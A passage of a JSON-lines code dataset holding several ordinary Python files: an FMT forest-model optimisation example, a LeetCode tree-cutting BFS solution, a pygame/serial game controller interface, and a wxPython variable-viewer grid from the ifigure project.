\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"RiccardoCurnis/AgaGym","sub_path":"GUI/provab.py","file_name":"provab.py","file_ext":"py","file_size_in_byte":5560,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24817438913","text":"from FMT import Models\r\nfrom FMT import Parser\r\nfrom FMT import Core\r\nfrom FMT import Version\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n if Version.FMTversion().hasfeature(\"OSI\"):\r\n primarylocation = \"../Models/TWD_land/TWD_land.pri\"\r\n modelparser = Parser.FMTmodelparser()\r\n models = modelparser.readproject(primarylocation,[\"LP\"])\r\n optimizationmodel=Models.FMTlpmodel(models[0],Models.FMTsolverinterface.CLP)\r\n for period in range(0,10):\r\n print(optimizationmodel.buildperiod())\r\n allconstraints = optimizationmodel.getconstraints()\r\n objective = allconstraints.pop(0)\r\n for constraint in allconstraints:\r\n print(optimizationmodel.setconstraint(constraint))\r\n print(optimizationmodel.setobjective(objective))\r\n optimizationmodel.initialsolve()\r\n outputstocheck = []\r\n for output in optimizationmodel.getoutputs():\r\n if output.getname() in [\"P2AREA\"]:\r\n outputstocheck.append(output)\r\n print(optimizationmodel.getvariabilities(outputstocheck,1,10))\r\n else:\r\n print(\"FMT needs to be compiled with OSI\")\r\n","repo_name":"Bureau-du-Forestier-en-chef/FMT","sub_path":"Examples/Python/Multiplesolutionvariability.py","file_name":"Multiplesolutionvariability.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"28972001269","text":"# LEETCODE@ 675. Cut Off Trees for Golf Event\n#\n# --END--\n\n\nimport heapq\n\n\ndef cutOffTree(self, forest):\n # validation\n if not forest or not forest[0]:\n return 0\n\n # init\n m, n = len(forest), len(forest[0])\n\n # heap to sort by heights\n h = []\n for i in range(m):\n for j in range(n):\n if forest[i][j] > 1:\n heapq.heappush(h, (forest[i][j], i, j))\n\n # current i, j\n cur = [0, 0]\n\n # total steps\n res = 0\n\n # get the lowest tree\n while h:\n height, ti, tj = heapq.heappop(h)\n\n # bfs\n step = 0\n q = [(cur[0], cur[1])]\n vst = set()\n can_reach = False\n\n # q contain valid node & not yet put into vst set.\n while q:\n next_q = []\n for i, j in q:\n if i == ti and j == tj:\n res += step\n can_reach = True\n next_q = []\n break\n else:\n vst.add((i, j))\n x, y = 0, 1\n for _ in range(4):\n x, y = y, -x\n ni, nj = i + x, j + y\n if 0 <= ni < m and 0 <= nj < n and forest[ni][nj] > 0 and (ni, nj) not in vst:\n next_q.append((ni, nj))\n step += 1\n q = next_q\n\n # if we can reach next point return -1\n if can_reach:\n cur[0], cur[1] = ti, tj\n else:\n return -1\n\n return res\n","repo_name":"Lancher/coding-challenge","sub_path":"heap/*cut_off_tree.py","file_name":"*cut_off_tree.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71940981683","text":"import pygame\nimport serial\nfrom time import sleep\nimport utils\n\nclass Interface:\n def __init__(self, game):\n self.quit = False\n self.events = None\n self.enabled = True\n self.keyboard = False\n self.controller = False\n self.eventHandler = None\n self.radarPosition = 1\n self.radarOn = False\n self.shieldOn = [False, False, False, False, False, False, False, False, False]\n self.antiMissile = False\n self.antiMissileJustOn = False\n \n def update(self):\n AMkeyPressed = False\n self.events = self.eventHandler.get()\n for event in self.events:\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n self.radarPosition = utils.constrain(self.radarPosition - 1, 1, 8)\n if event.key == pygame.K_RIGHT:\n self.radarPosition = utils.constrain(self.radarPosition + 1, 1, 8)\n if event.key == pygame.K_SPACE:\n self.radarOn = not self.radarOn\n if event.key == pygame.K_1:\n self.shieldOn[1] = not self.shieldOn[1]\n if event.key == pygame.K_2:\n self.shieldOn[2] = not self.shieldOn[2]\n if event.key == pygame.K_3:\n self.shieldOn[3] = not self.shieldOn[3]\n if event.key == pygame.K_4:\n self.shieldOn[4] = not self.shieldOn[4]\n if event.key == pygame.K_5:\n self.shieldOn[5] = not self.shieldOn[5]\n if event.key == pygame.K_6:\n self.shieldOn[6]= not self.shieldOn[6]\n if event.key == pygame.K_7:\n self.shieldOn[7] = not self.shieldOn[7]\n if event.key == pygame.K_8:\n self.shieldOn[8] = not self.shieldOn[8]\n if event.key == pygame.K_e:\n self.antiMissilePressed(True)\n AMkeyPressed = True\n \n if (event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE) or (event.type == pygame.QUIT):\n self.quit = True\n if AMkeyPressed == False:\n self.antiMissilePressed(False)\n \n if self.controller:\n controls = self.ser.readline().strip().split(\" \")\n self.ser.flushInput()\n #print(controls)\n self.radarPosition = int(controls[0])\n if int(controls[1]): self.radarOn = not self.radarOn\n for i in range(0,8):\n self.shieldOn[i+1] = int(controls[i+2])\n self.antiMissilePressed(int(controls[10]))\n \n def antiMissilePressed(self, state):\n if int(state):\n if not self.antiMissileJustOn:\n self.antiMissileJustOn = True\n self.antiMissile = True\n else:\n self.antiMissile = False\n else:\n self.antiMissileJustOn = False\n self.antiMissile = False\n \n def connectToController(self):\n try:\n self.ser = serial.Serial('/dev/ttyUSB0', 57600)\n except :\n self.keyboard = True\n return\n self.controller = True\n \n\n\n","repo_name":"bashbaugh/radar-defense","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"29093051274","text":"from __future__ import print_function\nimport weakref\nimport os\nimport traceback\nimport wx\nimport wx.grid\nfrom ifigure.utils.eval_node import EvalNode\nfrom ifigure.utils.cbook import ImageFiles, Write2Main, BuildPopUpMenu\nfrom distutils.version import LooseVersion\nfrom ifigure.utils.cbook import text_repr\nimport ifigure.widgets.dialog as dialog\n\nfrom ifigure.utils.wx3to4 import isWX3, GridTableBase, TextEntryDialog\n\nisWX_before_2_9 = LooseVersion(wx.__version__) < LooseVersion(\"2.9\")\n\nfont_h = None\nfont_w = None\nfont = None\n\n\ndef set_default_font():\n size = 12\n font = wx.Font(pointSize=size, family=wx.DEFAULT,\n style=wx.NORMAL, weight=wx.NORMAL,\n faceName='Consolas')\n globals()['font_label'] = wx.Font(pointSize=size, family=wx.DEFAULT,\n style=wx.NORMAL, weight=wx.BOLD,\n faceName='Consolas')\n dc = wx.ScreenDC()\n dc.SetFont(font)\n w, h = dc.GetTextExtent('A')\n globals()['font_h'] = h*1.5\n globals()['font_w'] = w\n globals()['font'] = font\n\n\ndef get_varlist(td):\n if hasattr(td, 'get_shownvar'):\n names = td.get_shownvar()\n else:\n names = td.get_varlist()\n return names\n\n\nclass _PropertyGrid(wx.grid.Grid):\n def __init__(self, *args, **kargs):\n wx.grid.Grid.__init__(self, *args, **kargs)\n self.Bind(wx.EVT_SIZE, self.onSizeEvent)\n# colWindow = self.GetGridColLabelWindow()\n# colWindow.Bind(wx.EVT_PAINT, self.OnColPaint)\n\n def onSizeEvent(self, evt):\n evt.Skip()\n self.ForceRefresh()\n\n def SetTable(self, object, *attributes):\n if isWX3:\n self.tableRef = weakref.ref(object)\n else:\n self.tableRef = object\n return wx.grid.Grid.SetTable(self, object, *attributes)\n\n def GetTable(self):\n if isWX3:\n return self.tableRef()\n else:\n return self.tableRef\n\n # def OnPaint(self, evt):\n # print(\"Here\")\n\n\nclass VarViewerGValue(object):\n '''\n varialbe which can be edit by \n varviwer\n '''\n\n def __init__(self, var, note):\n self._var = var\n self._note = note\n self._allow_eval = False\n\n def get_varlist(self):\n return list(self._var)\n\n def hasvar(self, name):\n return name in self._var\n\n def setvar(self, *args):\n if len(args) == 2:\n self._var[args[0]] = args[1]\n if len(args) == 1:\n if isinstance(args[0], dict):\n self._var = args[0]\n\n def getvar(self, name=None):\n if name is None:\n return self._var\n try:\n return self._var[name]\n except KeyError:\n return None\n\n def setnote(self, *args):\n if len(args) == 2:\n try:\n a = self._var[args[0]]\n except KeyError:\n return\n self._note[args[0]] = args[1]\n if len(args) == 1:\n self._note = args[0]\n\n def getnote(self, name=None):\n if name is None:\n return self._note\n try:\n return self._note[name]\n except KeyError:\n return ''\n\n def delvar(self, name):\n try:\n del self._var[name]\n except KeyError:\n pass\n try:\n del self._note[name]\n except KeyError:\n pass\n\n def get_drag_text2(self, key):\n ''' \n text for dnd from var viewer. should be\n implemented at derived class\n '''\n pass\n\n\nclass TextDT(wx.TextDropTarget):\n pass\n\n\nclass VarViewerGDropTarget(wx.TextDropTarget):\n # obj is proj_viewer\n def __init__(self, obj):\n wx.TextDropTarget.__init__(self)\n self.obj = obj\n\n def OnDropText(self, x, y, indata):\n print(\"drop target\")\n print(type(indata))\n\n # this is ad-hoc....!\n app = self.obj.GetTopLevelParent()\n indata = app._text_clip\n app._text_clip = ''\n\n data = '='+str(indata)\n try:\n print(str(indata))\n obj = EvalNode(str(indata))\n # print obj\n if obj.isTreeDict():\n data = data + '[:]'\n except Exception:\n pass\n pv = self.obj\n vv = pv.varviewer\n\n row = vv.grid.YToRow(y + vv.grid.GetViewStart()[1] *\n vv.grid.GetScrollPixelsPerUnit()[1])\n if row == -1:\n return\n # row=vv.grid.YToRow(y)\n gt = vv.grid.GetTable()\n treedict = gt.GetTreeDict()\n if treedict is None:\n return\n if row == -1:\n name = 'link'\n p = 1\n name1 = name+str(p)\n while treedict.getvar(name1) is not None:\n p = 1+p\n name1 = name+str(p)\n treedict.setvar(name1, data)\n\n else:\n name = (get_varlist(treedict))[row]\n treedict.setvar(name, data)\n\n vv.fill_list(treedict)\n item = pv.dt1._prev_item\n if pv.dt1._prev_item is not None:\n pv.tree.SetItemDropHighlight(\n pv.dt1._prev_item, False)\n\n pv.tree.UnselectAll()\n if item is not None:\n pv.tree.SelectItem(item)\n\n\nclass VarViewerGPopUp(wx.Menu):\n def __init__(self, parent):\n super(VarViewerGPopUp, self).__init__()\n self.parent = parent\n row = self.parent._startrow2\n if row != -1:\n gt = self.parent.grid.GetTable()\n txt = ['*', '*']\n if gt.sort == 0:\n txt[0] = '^'\n elif gt.sort == 1:\n txt[1] = '^'\n menus = [('Add...', self.onAdd, None),\n ('Duplicate...', self.onDuplicate, None),\n ('Delete', self.onDelete, None),\n ('Rename...', self.onRename, None),\n ('+Sort', None, None),\n (txt[0] + 'Up', self.onSortUp, None),\n (txt[1] + 'Down', self.onSortDown, None),\n ('!', None, None)]\n\n obj = gt.GetTreeDict()\n name = (get_varlist(obj))[row]\n if hasattr(obj, '_local_vars'):\n if name in obj._local_vars:\n menus.append(('^Ignore Global', self.onToggleLocal, None))\n else:\n menus.append(('*Ignore Global', self.onToggleLocal, None))\n else:\n menus = [('Add...', self.onAdd, None), ]\n BuildPopUpMenu(self, menus)\n\n def onSortUp(self, e):\n gt = self.parent.grid.GetTable()\n if gt.sort == 0:\n gt.sort = -1\n else:\n gt.sort = 0\n self.parent.Refresh()\n\n def onSortDown(self, e):\n gt = self.parent.grid.GetTable()\n if gt.sort == 1:\n gt.sort = -1\n else:\n gt.sort = 1\n self.parent.Refresh()\n\n def onDuplicate(self, e):\n row = self.parent._startrow2\n if row == -1:\n return\n gt = self.parent.grid.GetTable()\n obj = gt.GetTreeDict()\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n dlg = TextEntryDialog(self.parent.GetTopLevelParent(),\n \"Enter the name of variable\", \"Duplicate variable\", name+\"_duplicated\")\n if dlg.ShowModal() == wx.ID_OK:\n new_name = str(dlg.GetValue())\n if new_name != name:\n var = obj.getvar(name)\n obj.setvar(new_name, var)\n# obj.delvar(name)\n gt.SetTreeDict(obj)\n dlg.Destroy()\n\n def onAdd(self, e):\n row = self.parent._startrow2\n dlg = TextEntryDialog(self.parent.GetTopLevelParent(),\n \"Enter the name of variable\", \"Add variable\", \"\")\n if dlg.ShowModal() == wx.ID_OK:\n new_name = str(dlg.GetValue())\n gt = self.parent.grid.GetTable()\n obj = gt.GetTreeDict()\n if row == -1:\n obj.setvar(new_name, None)\n gt.SetTreeDict(obj)\n else:\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n if name.count(new_name) == 0:\n obj.setvar(new_name, None)\n gt.SetTreeDict(obj)\n else:\n print(\"variable \"+new_name + \" exist!\")\n dlg.Destroy()\n\n def onDelete(self, e):\n row = self.parent._startrow2\n if row == -1:\n return\n\n gt = self.parent.grid.GetTable()\n obj = gt.GetTreeDict()\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n\n ret = dialog.message(parent=self.parent.GetTopLevelParent(),\n message='Do you want to delete ' + name + '?',\n title=\"Delete variable\",\n style=4)\n if ret != 'yes':\n return\n obj.delvar(name)\n if hasattr(obj, '_local_vars'):\n if name in obj._local_vars:\n obj._local_vars.remove(name)\n gt.SetTreeDict(obj)\n\n def onToggleLocal(self, e):\n row = self.parent._startrow2\n if row == -1:\n return\n gt = self.parent.grid.GetTable()\n obj = gt.GetTreeDict()\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n if name in obj._local_vars:\n obj._local_vars.remove(name)\n else:\n obj._local_vars.append(name)\n\n def onRename(self, e):\n row = self.parent._startrow2\n if row == -1:\n return\n gt = self.parent.grid.GetTable()\n obj = gt.GetTreeDict()\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n\n dlg = TextEntryDialog(self.parent.GetTopLevelParent(),\n \"Enter the name of variable\", \"Add variable\", name+\"_rename\")\n if dlg.ShowModal() == wx.ID_OK:\n new_name = str(dlg.GetValue())\n if new_name != name:\n var = obj.getvar(name)\n obj.setvar(new_name, var)\n obj.delvar(name)\n gt.SetTreeDict(obj)\n if (hasattr(obj, '_local_vars') and\n name in obj._local_vars):\n obj._local_vars.remove(name)\n obj._local_vars.append(new_name)\n dlg.Destroy()\n\n\nclass VarViewerGridTable(GridTableBase):\n def __init__(self, obj, grid):\n GridTableBase.__init__(self)\n\n class Tmp(object):\n pass\n t = Tmp()\n self._obj = weakref.ref(t)\n del t\n self.sort = -1\n self._grid = grid\n self.currentRows = 0\n self.currentCols = self.GetNumberCols()\n\n self.SetTreeDict(obj)\n\n def getGrid(self):\n return self._grid\n\n def SetTreeDict(self, obj):\n if obj is None:\n class Tmp(object):\n pass\n obj = Tmp()\n self._obj = weakref.ref(obj)\n del obj\n else:\n self._obj = weakref.ref(obj)\n self.ResetView()\n\n def GetTreeDict(self):\n return self._obj()\n\n def GetNumberRows(self):\n \"\"\"Return the number of rows in the grid\"\"\"\n obj = self._obj()\n if obj is None:\n return 0\n return len(obj.getvar())\n\n def GetNumberCols(self):\n \"\"\"Return the number of columns in the grid\"\"\"\n return 4\n\n def IsEmptyCell(self, row, col):\n \"\"\"Return True if the cell is empty\"\"\"\n return False\n\n def GetTypeName(self, row, col):\n \"\"\"Return the name of the data type of the value in the cell\"\"\"\n # return None\n return 'string'\n\n def GetValue(self, row, col):\n \"\"\"Return the value of a cell\"\"\"\n obj = self._obj()\n if obj is None:\n return \"\"\n names = get_varlist(obj)\n name = self.get_row_name(row)\n if row >= len(names):\n return ''\n if col == 0:\n val = obj.getvar(name)\n txt = text_repr(val)\n return txt\n if col == 1:\n val = obj.getvar(name)\n try:\n if val.startswith('='):\n return \"expression\"\n except:\n pass\n #typstr = str(type(val))\n #txt = typstr[5:]\n #txt = txt[:-1]\n return type(val).__name__\n if col == 2:\n val = obj.getvar(name)\n if hasattr(val, 'shape'):\n return str(val.shape)\n else:\n return ''\n if col == 3:\n txt = obj.getnote(name)\n from ifigure.mto.py_code import PyParam\n if isinstance(obj, PyParam):\n path = obj.eval_all_keys(path=True)\n if names[row] in path:\n arr = path[name]\n if arr[-1][1] is not obj:\n txt = txt + '('+arr[-1][1].get_full_path() + ')'\n return txt\n\n # self._list_str.append(obj.get_full_path()+'.getvar(\"'+key+'\")')\n # self._keys=varss.keys()\n\n def SetValue(self, row, col, value):\n \"\"\"Set the value of a cell\"\"\"\n pass\n\n def GetColLabelValue(self, col):\n if col == 0:\n v = 'value'\n elif col == 1:\n v = 'type'\n elif col == 2:\n v = 'shape'\n elif col == 3:\n v = 'description'\n# v = v+ u'\\u2206'\n return v\n\n def GetRowLabelValue(self, row):\n obj = self._obj()\n if obj is None:\n return \"\"\n names = get_varlist(obj)\n if row >= len(names):\n super(VarViewerGridTable, self).GetRowLabelValue(row)\n return self.get_row_name(row)\n\n def get_row_name(self, row):\n obj = self._obj()\n if obj is None:\n return ''\n names = get_varlist(obj)\n if row >= len(names):\n return ''\n if self.sort == -1:\n return names[row]\n elif self.sort == 0:\n return sorted(names)[row]\n elif self.sort == 1:\n return [x for x in reversed(sorted(names))][row]\n\n def GetAttr(self, row, col, someExtraParameter):\n attr = wx.grid.GridCellAttr()\n obj = self._obj()\n if obj is None or row >= len(get_varlist(obj)):\n super(VarViewerGridTable, self).GetAttr(row, col,\n someExtraParameter)\n if (col == 1 or col == 0 or col == 2):\n attr.SetReadOnly(1)\n if obj is not None:\n name = self.get_row_name(row)\n from ifigure.mto.py_code import PyParam\n if isinstance(obj, PyParam):\n path = obj.eval_all_keys(path=True)\n if name in path:\n arr = path[name]\n if arr[-1][1] is not obj:\n attr.SetBackgroundColour('#707070')\n if name in obj._local_vars:\n attr.SetBackgroundColour('#ffff00')\n return attr\n\n def ResetView(self):\n \"\"\"Trim/extend the control's rows and update all values\"\"\"\n grid = self.getGrid()\n grid.BeginBatch()\n for current, new, delmsg, addmsg in [\n (self.currentRows, self.GetNumberRows(\n ), wx.grid.GRIDTABLE_NOTIFY_ROWS_DELETED, wx.grid.GRIDTABLE_NOTIFY_ROWS_APPENDED),\n (self.currentCols, self.GetNumberCols(\n ), wx.grid.GRIDTABLE_NOTIFY_COLS_DELETED, wx.grid.GRIDTABLE_NOTIFY_COLS_APPENDED),\n ]:\n if new < current:\n msg = wx.grid.GridTableMessage(self, delmsg, new, current-new)\n # for i in range(current-new):\n grid.ProcessTableMessage(msg)\n self.currentRows = new\n elif new > current:\n msg = wx.grid.GridTableMessage(self, addmsg, new-current)\n grid.ProcessTableMessage(msg)\n self.currentRows = new\n self.UpdateValues()\n obj = self._obj()\n if obj is not None:\n if len(get_varlist(obj)) == 0:\n ml = 8\n else:\n ml = max([len(x) for x in get_varlist(obj)])\n# grid.SetRowLabelSize(ml*10) #10 is an ad-hoc number\n grid.SetRowLabelSize((ml+2)*(font_w)+10)\n grid.EndBatch()\n\n # print 'current row', self.currentRows\n\n # The scroll bars aren't resized (at least on windows)\n # Jiggling the size of the window rescales the scrollbars\n h, w = grid.GetSize()\n grid.SetSize((h+1, w))\n grid.SetSize((h, w))\n grid.ForceRefresh()\n\n def fit_col_width(self):\n grid = self.getGrid()\n w, h = grid.GetClientSize()\n d = (w - grid.GetRowLabelSize()-grid.GetColSize(1) - grid.GetColSize(0)\n - grid.GetColSize(2))\n grid.SetColSize(3, max([d, 80]))\n\n def UpdateValues(self):\n \"\"\"Update all displayed values\"\"\"\n msg = wx.grid.GridTableMessage(self,\n wx.grid.GRIDTABLE_REQUEST_VIEW_GET_VALUES)\n self.getGrid().ProcessTableMessage(msg)\n self.getGrid().ClearSelection()\n\n def IssueDoDragDrop(self, row):\n obj = self._obj()\n if obj is None:\n return \"\"\n\n name = self.get_row_name(row)\n text = obj.get_drag_text2(name)\n\n app = self._grid.GetTopLevelParent()\n app._text_clip = text\n\n tdo = wx.TextDataObject(text)\n src = self._grid.GetGridRowLabelWindow()\n tds = wx.DropSource(src)\n tds.SetData(tdo)\n tds.DoDragDrop(True)\n\n\nclass VarViewerG(wx.Panel):\n def __init__(self, parent):\n set_default_font()\n wx.Panel.__init__(self, parent)\n st1 = wx.StaticText(self, label=' = ')\n self.ct1 = wx.TextCtrl(self, value=\"\",\n style=wx.TE_PROCESS_ENTER)\n self.bx1 = wx.CheckBox(self, -1, 'Expression', (10, 10))\n sizer0 = wx.BoxSizer(wx.HORIZONTAL)\n sizer0.Add(st1, 0, wx.ALL, 1)\n sizer0.Add(self.ct1, 1, wx.ALL | wx.EXPAND, 1)\n sizer0.Add(self.bx1, 0, wx.ALL, 1)\n self.grid = _PropertyGrid(self)\n\n self.grid.CreateGrid(3, 0)\n self.grid.SetDefaultCellFont(font)\n self.grid.SetLabelFont(globals()['font_label'])\n self.grid.SetColLabelSize(int(font_h))\n self.grid.SetDefaultRowSize(int(font_h), True)\n self.grid.EnableDragColSize(True)\n self.grid.SetTable(VarViewerGridTable(None, self.grid))\n self.ct1.SetDropTarget(TextDT())\n\n bottom = wx.BoxSizer(wx.HORIZONTAL)\n modes = ['copy', 'paste', 'trash']\n for mode in modes:\n if mode == 'text':\n self.tc_path = TextCtrlPath(self, wx.ID_ANY, '')\n self.tc_path.pv = self\n# self.tc_path.Bind(wx.EVT_KEY_DOWN, self.onKeyPressed, self.tc_path)\n bottom.Add(self.tc_path, 1, wx.EXPAND | wx.ALL, 1)\n else:\n from ifigure.ifigure_config import icondir\n path = os.path.join(icondir, '16x16', mode+'.png')\n image = wx.Image(path, wx.BITMAP_TYPE_PNG).ConvertToBitmap()\n bt = wx.BitmapButton(self, -1, image)\n bt.SetToolTip(wx.ToolTip(mode))\n if mode == 'trash':\n bottom.AddStretchSpacer()\n bottom.Add(bt, 0)\n else:\n bottom.Add(bt, 0)\n\n def func(e, mode=mode): return self.onButton(e, mode)\n self.Bind(wx.EVT_BUTTON, func, bt)\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n self.SetSizer(sizer)\n sizer.Add(sizer0, 0, wx.EXPAND, 0)\n sizer.Add(self.grid, 1, wx.EXPAND, 0)\n sizer.Add(bottom, 0, wx.EXPAND)\n\n if isWX_before_2_9:\n pass\n else:\n self.Bind(wx.grid.EVT_GRID_CELL_CHANGING, self.onEdit)\n self.ct1.Bind(wx.EVT_TEXT_ENTER, self.onEditValue)\n\n rowWindow = self.grid.GetGridRowLabelWindow()\n self._potentialDrag = False\n self._startrow = None # param for drag'n'drop\n self._startrow2 = -1 # param for popup menu\n rowWindow.Bind(wx.EVT_LEFT_DOWN, self.OnDragGridLeftDown)\n rowWindow.Bind(wx.EVT_LEFT_UP, self.OnDragGridLeftUp)\n rowWindow.Bind(wx.EVT_RIGHT_UP, self.OnRightRelease)\n rowWindow.Bind(wx.EVT_RIGHT_DOWN, self.OnRightPress)\n# rowWindow.Bind(wx.EVT_MOTION, self.OnRightRelease)\n\n self.grid.Bind(wx.EVT_SIZE, self.onGridSize)\n self.Bind(wx.grid.EVT_GRID_COL_SIZE, self.onGridSize)\n# self.Bind(wx.grid.EVT_GRID_BEGIN_DRAG, self.OnBeginDrag)\n self.Bind(wx.EVT_MOUSE_CAPTURE_LOST, lambda x: None)\n self.Bind(wx.grid.EVT_GRID_CELL_LEFT_CLICK, self.onGridLClick)\n self.Bind(wx.grid.EVT_GRID_CELL_LEFT_DCLICK, self.onGridLDClick)\n\n # this allows to select row always...\n try:\n self.grid.SetSelectionMode(wx.grid.Grid.wxGridSelectRows)\n except: # wxPython 4.1.0\n self.grid.SetSelectionMode(wx.grid.Grid.GridSelectRows)\n\n def onGridLClick(self, evt):\n row = evt.GetRow()\n self._startrow = row\n\n self.grid.SelectRow(row)\n # self.grid.SetSelectionMode(wx.grid.Grid.wxGridSelectCells)\n self.set_expression_field(row)\n evt.Skip()\n\n def onGridLDClick(self, evt):\n print('Grid DClick')\n evt.Skip()\n\n def onButton(self, evt, mode):\n from ifigure.ifigure_config import vv_scratch\n import ifigure.utils.pickle_wrapper as pickle\n\n idx = self.grid.GetSelectedRows()\n if len(idx) == 0 and mode != 'paste':\n return\n gt = self.grid.GetTable()\n obj = gt.GetTreeDict()\n\n if mode == 'copy':\n name = str(self.grid.GetRowLabelValue(idx[0]))\n names = [str(self.grid.GetRowLabelValue(d)) for d in idx]\n\n self.GetTopLevelParent().set_status_text(\n 'Copy ' + ', '.join(names), timeout=3000)\n try:\n fid = open(vv_scratch, 'wb')\n #data = {name: obj.getvar(name)}\n data = {n: obj.getvar(n) for n in names}\n pickle.dump(data, fid)\n fid.close()\n except:\n dialog.showtraceback(parent=self,\n txt='Failed to copy',\n title='Failed to copy',\n traceback=traceback.format_exc())\n elif mode == 'paste':\n if not os.path.exists(vv_scratch):\n dialog.showtraceback(parent=self,\n txt='paste data does not exists',\n title='Failed to paste',\n traceback='')\n return\n fid = open(vv_scratch, 'rb')\n data = pickle.load(fid)\n fid.close()\n for key in data:\n if obj.hasvar(key):\n dlg = wx.MessageDialog(None,\n 'Do you want to overwrite '+key + '?',\n 'Variable already existws',\n wx.OK | wx.CANCEL)\n ret = dlg.ShowModal()\n dlg.Destroy()\n if ret != wx.ID_OK:\n continue\n self.GetTopLevelParent().set_status_text('Paste tree variable', timeout=3000)\n obj.setvar(key, data[key])\n obj._var_changed = True\n self.update()\n elif mode == 'trash':\n name = str(self.grid.GetRowLabelValue(idx[0]))\n names = [str(self.grid.GetRowLabelValue(d)) for d in idx]\n dlg = wx.MessageDialog(None,\n 'Do you want to delete ' +\n ', '.join(names) + '?',\n 'Deleting variable',\n wx.OK | wx.CANCEL)\n ret = dlg.ShowModal()\n dlg.Destroy()\n if ret == wx.ID_OK:\n for n in names:\n obj.delvar(n)\n obj._var_changed = True\n self.GetTopLevelParent().set_status_text('Deltete ' +\n ', '.join(names), timeout=3000)\n wx.CallAfter(self.update)\n\n# text = obj.get_drag_text2(name)\n\n def onGridSize(self, evt):\n self.grid.GetTable().fit_col_width()\n self.grid.ForceRefresh()\n\n def fill_list(self, obj): # obj = TREEDICT\n gt = self.grid.GetTable()\n gt.SetTreeDict(obj)\n self.ct1.SetValue('')\n\n def update(self):\n gt = self.grid.GetTable()\n cobj = gt.GetTreeDict()\n try:\n if hasattr(cobj, '_var_changed'):\n if cobj._var_changed:\n # print 'Reset Viewer', cobj\n gt.ResetView()\n cobj._var_changed = False\n except:\n import traceback\n traceback.print_exc()\n pass\n\n def onEdit(self, e):\n row = e.GetRow()\n col = e.GetCol()\n\n obj = self.grid.GetTable().GetTreeDict()\n names = get_varlist(obj)\n\n if col == 3: # edit desecription\n if row < len(names):\n key = names[row]\n# print e.GetString()\n# print self.grid.GetCellValue(row, col)\n obj._note[key] = str(e.GetString())\n\n self.fill_list(obj)\n\n def onEditValue(self, e):\n row = self._startrow\n gt = self.grid.GetTable()\n obj = gt.GetTreeDict()\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n if self.bx1.GetValue():\n val = '='+str(self.ct1.GetValue())\n else:\n val = eval(str(self.ct1.GetValue()))\n obj.setvar(name, val)\n self.grid.ForceRefresh()\n\n def SetDropTarget(self, tg):\n self.grid.GetGridWindow().SetDropTarget(tg)\n# uncomment this makes crush on MacOSX\n# self.grid.GetGridRowLabelWindow().SetDropTarget(tg)\n\n def OnDragGridLeftDown(self, e):\n # this is to convert y to row. need to adjust\n # scroll.....\n row = self.grid.YToRow(e.GetY() + self.grid.GetViewStart()[1] *\n self.grid.GetScrollPixelsPerUnit()[1])\n if row == -1:\n return\n self._startrow = row\n self._potentialDrag = True\n rowWindow = self.grid.GetGridRowLabelWindow()\n rowWindow.Bind(wx.EVT_MOTION, self.OnDragGridMotion)\n\n e.Skip()\n\n def OnDragGridLeftUp(self, e):\n \"\"\"We are not dragging anymore, so unset the potentialDrag flag\"\"\"\n self._potentialDrag = False\n rowWindow = self.grid.GetGridRowLabelWindow()\n rowWindow.Unbind(wx.EVT_MOTION)\n\n row = self.grid.YToRow(e.GetY() + self.grid.GetViewStart()[1] *\n self.grid.GetScrollPixelsPerUnit()[1])\n # row=self.grid.YToRow(e.GetY())\n if row == -1:\n return\n self.set_expression_field(row)\n '''\n gt=self.grid.GetTable()\n obj=gt.GetTreeDict()\n name=(get_varlist(obj))[row]\n name = gt.get_row_name(row)\n val=obj.getvar(name)\n txt=str(val)\n if ((isinstance(val, str) or isinstance(val, unicode)) and\n not val.startswith('=')):\n txt='\"'+txt+'\"'\n\n if txt.startswith('='):\n self.ct1.SetValue(txt[1:])\n self.bx1.SetValue(True)\n else:\n self.ct1.SetValue(txt)\n self.bx1.SetValue(False)\n '''\n e.Skip()\n\n def OnRightPress(self, e):\n row = self.grid.YToRow(e.GetY() + self.grid.GetViewStart()[1] *\n self.grid.GetScrollPixelsPerUnit()[1])\n# row=self.grid.YToRow(e.GetY())\n self._startrow2 = row\n\n def OnRightRelease(self, e):\n row = self.grid.YToRow(e.GetY() + self.grid.GetViewStart()[1] *\n self.grid.GetScrollPixelsPerUnit()[1])\n# row=self.grid.YToRow(e.GetY())\n\n if self._startrow2 != row:\n # press and release happend at different row\n self._startrow2 = row\n return\n m = VarViewerGPopUp(self)\n self.PopupMenu(m,\n e.GetPosition())\n m.Destroy()\n\n def OnDragGridMotion(self, e):\n rowWindow = self.grid.GetGridRowLabelWindow()\n rowWindow.Unbind(wx.EVT_MOTION)\n self._potentialDrag = False\n if self._startrow is None:\n return\n\n #print(\"Start drag\")\n gt = self.grid.GetTable()\n gt.IssueDoDragDrop(self._startrow)\n\n e.Skip()\n\n def setdroptarget(self, proj_viewer):\n dt2 = VarViewerGDropTarget(proj_viewer)\n self.SetDropTarget(dt2)\n\n def Copy(self, e=None):\n idx = self.grid.GetSelectedRows()\n if len(idx) == 0:\n return\n name = str(self.grid.GetRowLabelValue(idx[0]))\n gt = self.grid.GetTable()\n obj = gt.GetTreeDict()\n text = obj.get_drag_text2(name)\n\n from ifigure.utils.cbook import SetText2Clipboard\n SetText2Clipboard(text)\n\n def Paste(self, e=None):\n '''\n can not paste to shellvar viewer\n '''\n pass\n\n def set_expression_field(self, row):\n gt = 